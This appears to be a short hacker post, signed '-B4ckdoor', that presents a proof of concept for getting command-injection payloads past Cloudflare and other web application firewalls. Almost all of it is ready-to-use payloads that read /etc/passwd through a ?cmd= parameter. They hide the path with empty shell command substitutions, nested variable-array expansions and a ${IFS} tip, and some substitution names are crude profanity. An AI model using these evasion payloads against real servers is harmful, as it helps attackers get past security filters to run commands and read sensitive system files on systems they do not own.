[CLOUDFLARE/OTHER WAF BYPASS COMMAND EXECUTION]

 WAF BYPASS poc:

cloudflare.com/?cmd= cat /e$(suckmydick)tc/$(yowaf)pas$(catchthis)swd
cloudflare.com/?cmd= cat /etc/passwd


more levels:

etc/pas${gsh[0]}swd

etc/pas${gsh[$sss]}swd

deeper level:

etc/pas${gsh[${ssss[${gg}]}]}swd


\\\\\\\\\\\\\\\\\\\\\\\\\

Can use ${IFS} too.


-B4ckdoor.